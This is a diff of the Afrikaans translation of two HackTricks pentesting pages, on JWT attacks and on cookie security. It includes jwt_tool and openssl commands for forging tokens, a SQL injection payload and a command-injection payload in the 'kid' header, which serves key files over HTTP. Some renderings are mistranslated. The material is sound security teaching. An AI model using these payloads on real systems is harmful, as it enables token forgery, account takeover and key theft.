**'n Deel van hierdie pos is gebaseer op die wonderlike pos:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
|
||||
**Outeur van die wonderlike instrument om JWT's te pentest** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
**Outeur van die wonderlike instrument om JWTs te pentest** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
|
||||
|
||||
### **Vinnige Wenke**
|
||||
|
||||
Hardloop [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) met die modus `Alle Toetse!` en wag vir groen lyne
|
||||
Hardloop [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) met die modus `All Tests!` en wag vir groen lyne
|
||||
```bash
|
||||
python3 jwt_tool.py -M at \
|
||||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||
|
@ -39,7 +39,7 @@ Daarna kan jy die versoek in jou proksi soek of die gebruikte JWT vir daardie ve
|
|||
```bash
|
||||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||
```
|
||||
### Verander data sonder om iets te wysig
|
||||
### Wysig data sonder om iets te verander
|
||||
|
||||
Jy kan net met die data mors sonder om die handtekening te verander en kyk of die bediener die handtekening nagaan. Probeer byvoorbeeld jou gebruikersnaam na "admin" verander.
|
||||
|
||||
|
@ -47,13 +47,13 @@ Jy kan net met die data mors sonder om die handtekening te verander en kyk of di
|
|||
|
||||
Om te kyk of 'n JWT se handtekening geverifieer word:
|
||||
|
||||
* 'n Foutboodskap dui op aanhoudende verifikasie; sensitiewe besonderhede in oordadige foute moet nagegaan word.
|
||||
* 'n Foutboodskap dui op aanhoudende verifikasie; sensitiewe besonderhede in oordrewe foute moet nagegaan word.
|
||||
* 'n Verandering in die teruggekeerde bladsy dui ook op verifikasie.
|
||||
* Geen verandering dui op geen verifikasie nie; dit is wanneer jy moet eksperimenteer met die mors van payload-aansprake.
|
||||
|
||||
### Oorsprong
|
||||
|
||||
Dit is belangrik om vas te stel of die token serverkant of kliëntkant gegenereer is deur die versoekgeskiedenis van die proksi te ondersoek.
|
||||
Dit is belangrik om vas te stel of die token serverkant of kliëntkant gegenereer is deur die geskiedenis van die proksi se versoek te ondersoek.
|
||||
|
||||
* Tokens wat eerste gesien word van die kliëntkant dui daarop dat die sleutel blootgestel kan word aan kliëntkant-kode, wat verdere ondersoek noodsaaklik maak.
|
||||
* Tokens wat van die bedienerkant afkomstig is, dui op 'n veilige proses.
|
||||
|
@ -70,16 +70,16 @@ Kyk of die token langer as 24 uur hou... dalk verval dit nooit nie. As daar 'n "
|
|||
|
||||
Stel die gebruikte algoritme in as "None" en verwyder die handtekeninggedeelte.
|
||||
|
||||
Gebruik die Burp-uitbreiding genaamd "JSON Web Token" om hierdie kwesbaarheid te toets en verskillende waardes binne die JWT te verander (stuur die versoek na Repeater en in die "JSON Web Token"-oortjie kan jy die waardes van die token wysig. Jy kan ook kies om die waarde van die "Alg"-veld na "None" te stel).
|
||||
Gebruik die Burp-uitbreiding genaamd "JSON Web Token" om hierdie kwesbaarheid te toets en verskillende waardes binne die JWT te verander (stuur die versoek na Repeater en in die "JSON Web Token"-tab kan jy die waardes van die token wysig. Jy kan ook kies om die waarde van die "Alg"-veld na "None" te stel).
|
||||
|
||||
### Verander die algoritme van RS256(asimmetries) na HS256(simetries) (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
Die algoritme HS256 gebruik die geheime sleutel om elke boodskap te teken en te verifieer.\
|
||||
Die algoritme RS256 gebruik die privaatsleutel om die boodskap te teken en gebruik die openbare sleutel vir verifikasie.
|
||||
|
||||
As jy die algoritme van RS256 na HS256 verander, gebruik die agterendekode die openbare sleutel as die geheime sleutel en gebruik dan die HS256-algoritme om die handtekening te verifieer.
|
||||
As jy die algoritme van RS256 na HS256 verander, gebruik die agterkant-kode die openbare sleutel as die geheime sleutel en gebruik dan die HS256-algoritme om die handtekening te verifieer.
|
||||
|
||||
Daarna, deur die openbare sleutel te gebruik en RS256 na HS256 te verander, kan ons 'n geldige handtekening skep. Jy kan die sertifikaat van die webbediener ophaal wat hierdie uitvoer:
|
||||
Daarna, deur die openbare sleutel te gebruik en RS256 na HS256 te verander, kan ons 'n geldige handtekening skep. Jy kan die sertifikaat van die webbediener ophaal wat dit uitvoer deur dit te doen:
|
||||
```bash
|
||||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||
|
@ -96,11 +96,11 @@ Dit kan gedoen word met die "JSON Web Tokens" Burp-uitbreiding.\
|
|||
Die instruksies beskryf 'n metode om die sekuriteit van JWT-tokens te assesseer, veral dié wat 'n "jku" kop-aanspraak gebruik. Hierdie aanspraak behoort te skakel na 'n JWKS (JSON Web Key Set) lêer wat die openbare sleutel bevat wat nodig is vir die token se verifikasie.
|
||||
|
||||
* **Assessering van Tokens met "jku" Kop**:
|
||||
* Verifieer die URL van die "jku" aanspraak om te verseker dat dit lei na die toepaslike JWKS-lêer.
|
||||
* Wysig die token se "jku"-waarde om te verwys na 'n beheerde webdiens, wat verkeerswaarneming moontlik maak.
|
||||
* **Monitering vir HTTP-interaksie**:
|
||||
* Verifieer die URL van die "jku" aanspraak om te verseker dat dit na die toepaslike JWKS-lêer lei.
|
||||
* Wysig die "jku" waarde van die token om te verwys na 'n beheerde webdiens, wat verkeerswaarneming moontlik maak.
|
||||
* **Monitering vir HTTP Interaksie**:
|
||||
* Die waarneming van HTTP-versoeke na jou gespesifiseerde URL dui aan dat die bediener poog om sleutels van jou voorsiene skakel te haal.
|
||||
* Wanneer jy `jwt_tool` vir hierdie proses gebruik, is dit noodsaaklik om die `jwtconf.ini`-lêer met jou persoonlike JWKS-plek op te dateer om die toetsing te fasiliteer.
|
||||
* Wanneer jy `jwt_tool` vir hierdie proses gebruik, is dit noodsaaklik om die `jwtconf.ini` lêer met jou persoonlike JWKS-plek op te dateer om die toetsing te fasiliteer.
|
||||
* **Opdrag vir `jwt_tool`**:
|
||||
* Voer die volgende opdrag uit om die scenario met `jwt_tool` te simuleer:
|
||||
|
||||
|
@ -118,7 +118,7 @@ Wanneer die `kid` aanspraak teenwoordig is in die kop, word dit aanbeveel om die
|
|||
|
||||
#### Padtraversering met "kid"
|
||||
|
||||
Die `kid` aanspraak kan ook uitgebuit word om deur die lêerstelsel te navigeer, wat moontlik die keuse van 'n willekeurige lêer toelaat. Dit is moontlik om vir konnektiwiteit te toets of Bedienerkant Aanvraagvervalsing (SSRF) aanvalle uit te voer deur die `kid`-waarde te verander om spesifieke lêers of dienste te teiken. Die manipulasie van die JWT om die `kid`-waarde te verander terwyl die oorspronklike handtekening behoue bly, kan bereik word deur die `-T` vlag in jwt\_tool te gebruik, soos hieronder gedemonstreer:
|
||||
Die `kid` aanspraak kan ook uitgebuit word om deur die lêerstelsel te navigeer, wat moontlik die keuse van 'n willekeurige lêer toelaat. Dit is moontlik om vir konnektiwiteit te toets of Bedienerkant Aanvraagvergiffenis (SSRF) aanvalle uit te voer deur die `kid` waarde te verander om spesifieke lêers of dienste te teiken. Die manipulasie van die JWT om die `kid` waarde te verander terwyl die oorspronklike handtekening behoue bly, kan bereik word deur die `-T` vlag in jwt\_tool te gebruik, soos hieronder gedemonstreer:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
|
@ -126,15 +126,15 @@ Deur te mik op lêers met voorspelbare inhoud, is dit moontlik om 'n geldige JWT
|
|||
|
||||
#### SQL-injeksie via "kid"
|
||||
|
||||
Indien die inhoud van die `kid` bewering gebruik word om 'n wagwoord uit 'n databasis te haal, kan 'n SQL-injeksie gefasiliteer word deur die `kid` payload te wysig. 'n Voorbeeld-payload wat SQL-injeksie gebruik om die JWT-ondertekeningsproses te verander, sluit in:
|
||||
As die inhoud van die `kid` bewering gebruik word om 'n wagwoord uit 'n databasis te haal, kan 'n SQL-injeksie gefasiliteer word deur die `kid` payload te wysig. 'n Voorbeeld-payload wat SQL-injeksie gebruik om die JWT-ondertekeningsproses te wysig, sluit in:
|
||||
|
||||
`non-bestaande-indeks' UNION SELECT 'AANVALLER';-- -`
|
||||
|
||||
Hierdie verandering dwing die gebruik van 'n bekende geheime sleutel, `AANVALLER`, vir JWT-ondertekening.
|
||||
Hierdie wysiging dwing die gebruik van 'n bekende geheime sleutel, `AANVALLER`, vir JWT-ondertekening.
|
||||
|
||||
#### BS-injeksie deur "kid"
|
||||
#### OS-injeksie deur "kid"
|
||||
|
||||
'N Scenario waar die `kid` parameter 'n lêerpad spesifiseer wat binne 'n opdraguitvoerkonteks gebruik word, kan lei tot Remote Code Execution (RCE) kwesbaarhede. Deur opdragte in die `kid` parameter in te spuit, is dit moontlik om private sleutels bloot te stel. 'n Voorbeeld-payload om RCE en sleutelblootstelling te bereik is:
|
||||
'N Scenario waar die `kid` parameter 'n lêerpad spesifiseer wat binne 'n beveluitvoeringskonteks gebruik word, kan lei tot Remote Code Execution (RCE) kwesbaarhede. Deur bevele in die `kid` parameter in te spuit, is dit moontlik om private sleutels bloot te stel. 'n Voorbeeld-payload om RCE en sleutelblootstelling te bereik is:
|
||||
|
||||
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
|
||||
|
@ -143,9 +143,9 @@ Hierdie verandering dwing die gebruik van 'n bekende geheime sleutel, `AANVALLER
|
|||
#### jku
|
||||
|
||||
jku staan vir **JWK Set URL**.\
|
||||
Indien die token 'n "**jku**" **Header** bewering gebruik, **kyk na die voorsiene URL**. Dit behoort te wys na 'n URL wat die JWKS-lêer bevat wat die Openbare Sleutel vir die verifikasie van die token bevat. Manipuleer die token om die jku-waarde te wys na 'n webdiens waar jy verkeer vir kan monitor.
|
||||
As die token 'n "**jku**" **Header** bewering gebruik, **kyk na die voorsiene URL**. Dit behoort te wys na 'n URL wat die JWKS-lêer bevat wat die Openbare Sleutel vir die verifikasie van die token bevat. Manipuleer die token om die jku-waarde te wys na 'n webdiens waar jy verkeer kan monitor.
|
||||
|
||||
Eerstens moet jy 'n nuwe sertifikaat skep met nuwe privaat- en openbare sleutels
|
||||
Eerstens moet jy 'n nuwe sertifikaat skep met nuwe privaat- en openbare sleutels.
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
|
@ -164,7 +164,7 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
X.509 URL. 'n URI wat na 'n stel X.509 ( 'n sertifikaat-formaatstandaard) openbare sertifikate wat in PEM-vorm gekodeer is, wys. Die eerste sertifikaat in die stel moet die een wees wat gebruik is om hierdie JWT te onderteken. Die opeenvolgende sertifikate onderteken elk die vorige een, wat dus die sertifikaatketting voltooi. X.509 word gedefinieer in RFC 52807 . Vervoersekuriteit is nodig om die sertifikate oor te dra.
|
||||
X.509 URL. 'n URI wat wys na 'n stel X.509 ( 'n sertifikaatformaatstandaard) openbare sertifikate wat in PEM-vorm gekodeer is. Die eerste sertifikaat in die stel moet die een wees wat gebruik is om hierdie JWT te onderteken. Die opeenvolgende sertifikate onderteken elk die vorige een, wat dus die sertifikaatketting voltooi. X.509 word gedefinieer in RFC 52807. Vervoersekuriteit is nodig om die sertifikate oor te dra.
|
||||
|
||||
Probeer om **hierdie kopnaam na 'n URL onder jou beheer** te verander en kyk of enige versoek ontvang word. In daardie geval **kan jy die JWT vervals**.
|
||||
|
||||
|
@ -173,11 +173,11 @@ Om 'n nuwe token te vervals met behulp van 'n sertifikaat wat deur jou beheer wo
|
|||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||
```
|
||||
Dan kan jy byvoorbeeld [**jwt.io**](https://jwt.io) gebruik om die nuwe JWT te skep met die **geskepte openbare en privaat sleutels en deur die parameter x5u na die sertifikaat .crt te verwys wat geskep is.**
|
||||
Dan kan jy byvoorbeeld [**jwt.io**](https://jwt.io) gebruik om die nuwe JWT te skep met die **geskepte openbare en private sleutels en deur die parameter x5u na die sertifikaat .crt te verwys wat geskep is.**
|
||||
|
||||
.png>)
|
||||
|
||||
Jy kan ook beide van hierdie kwesbaarhede **misbruik vir SSRFs**.
|
||||
Jy kan ook beide van hierdie kwesbaarhede misbruik **vir SSRFs**.
|
||||
|
||||
#### x5c
|
||||
|
||||
|
@ -185,7 +185,7 @@ Hierdie parameter kan die **sertifikaat in base64** bevat:
|
|||
|
||||
.png>)
|
||||
|
||||
Indien die aanvaller **'n self-ondertekende sertifikaat genereer** en 'n vervalsde token skep deur die ooreenstemmende privaat sleutel te gebruik en die waarde van die "x5c" parameter te vervang met die nuut gegenereerde sertifikaat en die ander parameters aan te pas, naamlik n, e en x5t, sal die vervalsde token in wese deur die bediener aanvaar word.
|
||||
As die aanvaller **'n self-ondertekende sertifikaat genereer** en 'n vervalsde token skep deur die ooreenstemmende private sleutel te gebruik en die waarde van die "x5c" parameter te vervang met die nuut gegenereerde sertifikaat en die ander parameters aan te pas, naamlik n, e en x5t, sal die vervalsde token in wese deur die bediener aanvaar word.
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||
openssl x509 -in attacker.crt -text
|
||||
|
@ -231,7 +231,7 @@ Hier is 'n voorbeeld: [ECDSA: Openbaarmaking van die privaatsleutel, indien dies
|
|||
### JTI (JWT ID)
|
||||
|
||||
Die JTI (JWT ID) eis bied 'n unieke identifiseerder vir 'n JWT-token. Dit kan gebruik word om te voorkom dat die token herhaal word.\
|
||||
Stel jou voor, 'n situasie waar die maksimum lengte van die ID 4 is (0001-9999). Die versoek 0001 en 10001 gaan dieselfde ID gebruik. Dus, as die agterkant die ID verhoog met elke versoek, kan jy hierdie misbruik om 'n versoek te **herhaal** (jy moet 10000 versoek tussen elke suksesvolle herhaling stuur).
|
||||
Stel jou voor, 'n situasie waar die maksimum lengte van die ID 4 is (0001-9999). Die versoek 0001 en 10001 gaan dieselfde ID gebruik. As die agterkant die ID verhoog met elke versoek, kan jy hierdie misbruik om 'n versoek te **herhaal** (jy moet 10000 versoek tussen elke suksesvolle herhaling stuur).
|
||||
|
||||
### JWT Geregistreerde eise
|
||||
|
||||
|
@ -241,13 +241,13 @@ Stel jou voor, 'n situasie waar die maksimum lengte van die ID 4 is (0001-9999).
|
|||
|
||||
**Kruisdiens-relay-aanvalle**
|
||||
|
||||
Dit is waargeneem dat sommige webtoepassings staatmaak op 'n vertroude JWT-diens vir die generering en bestuur van hul tokens. Gevalle is aangeteken waar 'n token, gegenereer vir een klient deur die JWT-diens, deur 'n ander klient van dieselfde JWT-diens aanvaar is. Indien die uitreiking of hernuwing van 'n JWT via 'n derdepartydiens waargeneem word, moet die moontlikheid om vir 'n rekening aan te meld op 'n ander klient van daardie diens met dieselfde gebruikersnaam/e-pos ondersoek word. 'n Poging moet dan aangewend word om die verkrygte token in 'n versoek na die teiken te herhaal om te sien of dit aanvaar word.
|
||||
Dit is waargeneem dat sommige webtoepassings staatmaak op 'n vertroude JWT-diens vir die generering en bestuur van hul tokens. Gevalle is aangeteken waar 'n token, gegenereer vir een klient deur die JWT-diens, deur 'n ander klient van dieselfde JWT-diens aanvaar is. As die uitreiking of hernuwing van 'n JWT via 'n derdepartydiens waargeneem word, moet die moontlikheid om vir 'n rekening aan te meld op 'n ander klient van daardie diens met dieselfde gebruikersnaam/e-pos ondersoek word. 'n Poging moet dan aangewend word om die verkryde token in 'n versoek na die teiken te herhaal om te sien of dit aanvaar word.
|
||||
|
||||
* 'n Kritieke kwessie kan aangedui word deur die aanvaarding van jou token, wat moontlik die vervalsing van enige gebruiker se rekening kan toelaat. Dit moet egter opgemerk word dat toestemming vir wyer toetsing nodig kan wees indien aanmelding op 'n derdepartytoepassing, aangesien dit 'n regsgrys gebied kan betree.
|
||||
* 'n Kritieke kwessie kan aangedui word deur die aanvaarding van jou token, wat moontlik die vervalsing van enige gebruiker se rekening kan toelaat. Dit moet egter genoteer word dat toestemming vir wyer toetsing benodig kan word indien aanmelding op 'n derdepartytoepassing, aangesien dit 'n regsgrys gebied kan betree.
|
||||
|
||||
**Vervaltoets van tokens**
|
||||
|
||||
Die verval van die token word nagegaan deur die "exp" Lading eis. Gegewe dat JWT's dikwels sonder sessie-inligting gebruik word, is sorgvuldige hantering nodig. In baie gevalle kan die vaslegging en herhaling van 'n ander gebruiker se JWT die persoonifikasie van daardie gebruiker moontlik maak. Die JWT RFC beveel aan om JWT-herhaalaanvalle te verminder deur die "exp" eis te gebruik om 'n vervaltyd vir die token in te stel. Verder is die implementering van relevante kontroles deur die aansoek om die verwerking van hierdie waarde te verseker en die afwysing van verstreke tokens van kritieke belang. Indien die token 'n "exp" eis insluit en toetstydperke dit toelaat, word dit aanbeveel om die token te stoor en dit na die vervaltyd te herhaal. Die inhoud van die token, insluitend tydstempelontleding en vervaltoetsing (tydstempel in UTC), kan gelees word deur die jwt\_tool se -R vlag te gebruik.
|
||||
Die verval van die token word nagegaan deur die "exp" Lading eis. Gegewe dat JWT's dikwels sonder sessie-inligting gebruik word, is sorgvuldige hantering vereis. In baie gevalle kan die vaslegging en herhaling van 'n ander gebruiker se JWT die persoonifikasie van daardie gebruiker moontlik maak. Die JWT RFC beveel aan om JWT-herhaalaanvalle te verminder deur die "exp" eis te gebruik om 'n vervaltyd vir die token in te stel. Verder is die implementering van relevante kontroles deur die aansoek om te verseker dat die verwerking van hierdie waarde en die verwerping van verstreke tokens krities is. As die token 'n "exp" eis insluit en toetstydlimiete dit toelaat, word dit aanbeveel om die token te stoor en dit na die vervaltyd te herhaal. Die inhoud van die token, insluitend tydstempelontleding en vervaltoetsing (tydstempel in UTC), kan gelees word deur die jwt\_tool se -R vlag te gebruik.
|
||||
|
||||
* 'n Sekuriteitsrisiko kan teenwoordig wees indien die aansoek steeds die token valideer, aangesien dit kan impliseer dat die token nooit kan verval nie.
|
||||
|
||||
|
@ -255,9 +255,9 @@ Die verval van die token word nagegaan deur die "exp" Lading eis. Gegewe dat JWT
|
|||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Indien jy belangstel in 'n **hakerloopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
Indien jy belangstel in 'n **hackerloopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -271,6 +271,6 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hakerstruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -32,7 +32,7 @@ Die verval datum van 'n koekie word bepaal deur die `Expires` eienskap. Omgekeer
|
|||
|
||||
### Domein
|
||||
|
||||
Die gasheer wat 'n koekie moet ontvang, word deur die `Domain` eienskap gespesifiseer. Standaard word dit ingestel op die gasheer wat die koekie uitgereik het, sonder sy subdomeine in te sluit. Wanneer die `Domain` eienskap egter eksplisiet ingestel word, sluit dit ook subdomeine in. Dit maak die spesifikasie van die `Domain` eienskap 'n minder beperkende opsie, nuttig vir scenario's waar koekiedeling oor subdomeine nodig is. Byvoorbeeld, deur `Domain=mozilla.org` in te stel, word koekies toeganklik op sy subdomeine soos `developer.mozilla.org`.
|
||||
Die gasheer wat 'n koekie moet ontvang, word deur die `Domain` eienskap gespesifiseer. Standaard word dit ingestel op die gasheer wat die koekie uitgereik het, sonder sy subdomeine. Wanneer die `Domain` eienskap egter eksplisiet ingestel word, sluit dit ook subdomeine in. Dit maak die spesifikasie van die `Domain` eienskap 'n minder beperkende opsie, nuttig vir scenario's waar koekiedeling oor subdomeine nodig is. Byvoorbeeld, deur `Domain=mozilla.org` in te stel, word koekies toeganklik op sy subdomeine soos `developer.mozilla.org`.
|
||||
|
||||
### Pad
|
||||
|
||||
|
@ -52,7 +52,7 @@ Wanneer twee koekies dieselfde naam dra, word die een wat vir die stuur gekies i
|
|||
* **Laks**: Laat die koekie toe om gestuur te word met GET-versoeke wat deur derdeparty-webwerwe geïnisieer is.
|
||||
* **Geen**: Laat die koekie toe om vanaf enige derdeparty-domein gestuur te word.
|
||||
|
||||
Onthou, terwyl jy koekies konfigureer, kan begrip van hierdie eienskappe help om te verseker dat hulle soos verwag optree oor verskillende scenarios.
|
||||
Onthou, terwyl jy koekies konfigureer, kan begrip van hierdie eienskappe help om te verseker dat hulle soos verwag optree oor verskillende scenario's.
|
||||
|
||||
| **Versoek Tipe** | **Voorbeeld Kode** | **Koekies Gestuur Wanneer** |
|
||||
| ---------------- | ---------------------------------- | --------------------- |
|
||||
|
@ -70,7 +70,7 @@ Tabel van [Invicti](https://www.netsparker.com/blog/web-security/same-site-cooki
|
|||
**\*Let daarop dat vanaf Chrome80 (feb/2019) die verstekgedrag van 'n koekie sonder 'n koekie samesite** **eienskap laks sal wees** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Let daarop dat tydelik, na die toepassing van hierdie verandering, die **koekies sonder 'n SameSite** **beleid** in Chrome sal behandel word as **Geen** gedurende die **eerste 2 minute en dan as Laks vir top-vlak kruis-webwerf POS-versoek.**
|
||||
|
||||
## Koekie Vlae
|
||||
## Koekies Vlae
|
||||
|
||||
### HttpOnly
|
||||
|
||||
|
@ -78,9 +78,9 @@ Dit verhoed dat die **kliënt** die koekie kan benader (Via **Javascript** byvoo
|
|||
|
||||
#### **Omgang**
|
||||
|
||||
* As die bladsy die koekies **stuur as die respons** van 'n versoek (byvoorbeeld in 'n **PHPinfo**-bladsy), is dit moontlik om die XSS te misbruik om 'n versoek na hierdie bladsy te stuur en die koekies uit die respons te **steel** (kyk na 'n voorbeeld in [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||
* As die bladsy die koekies **stuur as die respons** van 'n versoek (byvoorbeeld in 'n **PHPinfo**-bladsy), is dit moontlik om die XSS te misbruik om 'n versoek na hierdie bladsy te stuur en die koekies van die respons te **steel** (kyk na 'n voorbeeld in [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||
* Dit kan omseil word met **TRACE** **HTTP** versoek as die respons van die bediener (indien hierdie HTTP-metode beskikbaar is) die gestuurde koekies sal weerspieël. Hierdie tegniek word **Cross-Site Tracking** genoem.
|
||||
* Hierdie tegniek word vermy deur **moderne blaaier deur nie toe te laat dat 'n TRACE** versoek van JS gestuur word nie. Tog is daar in sekere sagteware omseilings hiervan gevind, soos die stuur van `\r\nTRACE` in plaas van `TRACE` na IE6.0 SP2.
|
||||
* Hierdie tegniek word vermy deur **moderne blaaier deur nie die stuur van 'n TRACE** versoek vanaf JS toe te laat nie. Tog is daar in sekere sagteware omseilings hiervoor gevind, soos die stuur van `\r\nTRACE` in plaas van `TRACE` na IE6.0 SP2.
|
||||
* 'n Ander manier is die uitbuiting van nul/dag kwesbaarhede van die blaaier.
|
||||
* Dit is moontlik om **HttpOnly-koekies te oorskryf** deur 'n Koekiepot-oorvloeiingsaanval uit te voer:
|
||||
|
||||
|
@ -92,15 +92,15 @@ Dit verhoed dat die **kliënt** die koekie kan benader (Via **Javascript** byvoo
|
|||
|
||||
### Veilig
|
||||
|
||||
Die versoek sal die koekie **alleenlik** stuur in 'n HTTP-versoek slegs as die versoek oorgedra word oor 'n veilige kanaal (tipies **HTTPS**).
|
||||
Die versoek sal die koekie **slegs** stuur in 'n HTTP-versoek as die versoek oorgedra word oor 'n veilige kanaal (tipies **HTTPS**).
|
||||
|
||||
## Koekie Voorvoegsels
|
||||
## Koekies Voorvoegsels
|
||||
|
||||
Koekies met die voorvoegsel `__Secure-` moet saam met die `secure` vlag ingestel word vanaf bladsye wat beveilig is deur HTTPS.
|
||||
|
||||
Vir koekies met die voorvoegsel `__Host-` moet aan verskeie voorwaardes voldoen word:
|
||||
|
||||
* Hulle moet ingestel word met die `secure` vlag.
|
||||
* Hulle moet met die `secure` vlag ingestel word.
|
||||
* Hulle moet afkomstig wees van 'n bladsy wat beveilig is deur HTTPS.
|
||||
* Dit is verbode om 'n domein te spesifiseer vir hierdie koekies, wat voorkom dat hulle na subdomeine gestuur word.
|
||||
* Die pad vir hierdie koekies moet op `/` ingestel word.
|
||||
|
@ -108,29 +108,29 @@ Vir koekies met die voorvoegsel `__Host-` moet aan verskeie voorwaardes voldoen
|
|||
Dit is belangrik om te let dat koekies met die voorvoegsel `__Host-` nie toegelaat word om na superdomeine of subdomeine gestuur te word nie. Hierdie beperking help om aansoekkoekies te isoleer. Gevolglik kan die gebruik van die `__Host-` voorvoegsel vir alle aansoekkoekies beskou word as 'n goeie praktyk om sekuriteit en isolasie te verbeter.
|
||||
### Oorskrywing van koekies
|
||||
|
||||
Dus, een van die beskermingsmaatreëls van `__Host-` voorafgegaan koekies is om te voorkom dat hulle vanaf subdomeine oorgeskryf word. Dit voorkom byvoorbeeld [**Koekie Tossing-aanvalle**](cookie-tossing.md). In die gesprek [**Koekie Verbrokkel: Ontsluiering van Web-sessie Integriteitskwesbaarhede**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**artikel**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) is dit voorgestel dat dit moontlik was om `__HOST-` voorafgegaan koekies vanaf subdomein in te stel, deur die parser te mislei, byvoorbeeld, deur "=" aan die begin of aan die begin en die einde by te voeg...:
|
||||
Dus, een van die beskermingsmaatreëls van `__Host-` voorafgegaan koekies is om te voorkom dat hulle vanaf subdomeine oorgeskryf word. Dit voorkom byvoorbeeld [**Koekie Tossing-aanvalle**](cookie-tossing.md). In die aanbieding [**Koekie Kruimels: Ontsluiering van Web-sessie Integriteit Kwesbaarhede**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**artikel**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) is dit voorgestel dat dit moontlik was om `__HOST-` voorafgegaan koekies vanaf subdomein in te stel, deur die parser te mislei, byvoorbeeld, deur "=" by die begin of aan die begin en die einde by te voeg...:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Of in PHP was dit moontlik om **ander karakters aan die begin** van die koekienaam by te voeg wat deur onderstreepkarakters vervang sou word, wat dit moontlik maak om `__HOST-` koekies te oorskryf:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
## Koekie-aanvalle
|
||||
## Koekie Aanvalle
|
||||
|
||||
As 'n aangepaste koekie sensitiewe data bevat, moet dit nagegaan word (veral as jy 'n CTF speel), aangesien dit moontlik kwesbaar kan wees.
|
||||
As 'n aangepaste koekie sensitiewe data bevat, moet dit nagegaan word (veral as jy 'n CTF speel), aangesien dit kwesbaar kan wees.
|
||||
|
||||
### Dekodeer en Manipuleer Koekies
|
||||
|
||||
Sensitiewe data wat in koekies ingebed is, moet altyd deeglik ondersoek word. Koekies wat in Base64 of soortgelyke formate gekodeer is, kan dikwels gedekodeer word. Hierdie kwesbaarheid maak dit vir aanvallers moontlik om die inhoud van die koekie te verander en ander gebruikers te impersoneer deur hul gewysigde data terug in die koekie te kodeer.
|
||||
|
||||
### Sessie-kaaping
|
||||
### Sessie Kaping
|
||||
|
||||
Hierdie aanval behels die steel van 'n gebruiker se koekie om ongemagtigde toegang tot hul rekening binne 'n toepassing te verkry. Deur die gesteelde koekie te gebruik, kan 'n aanvaller die regmatige gebruiker impersoneer.
|
||||
|
||||
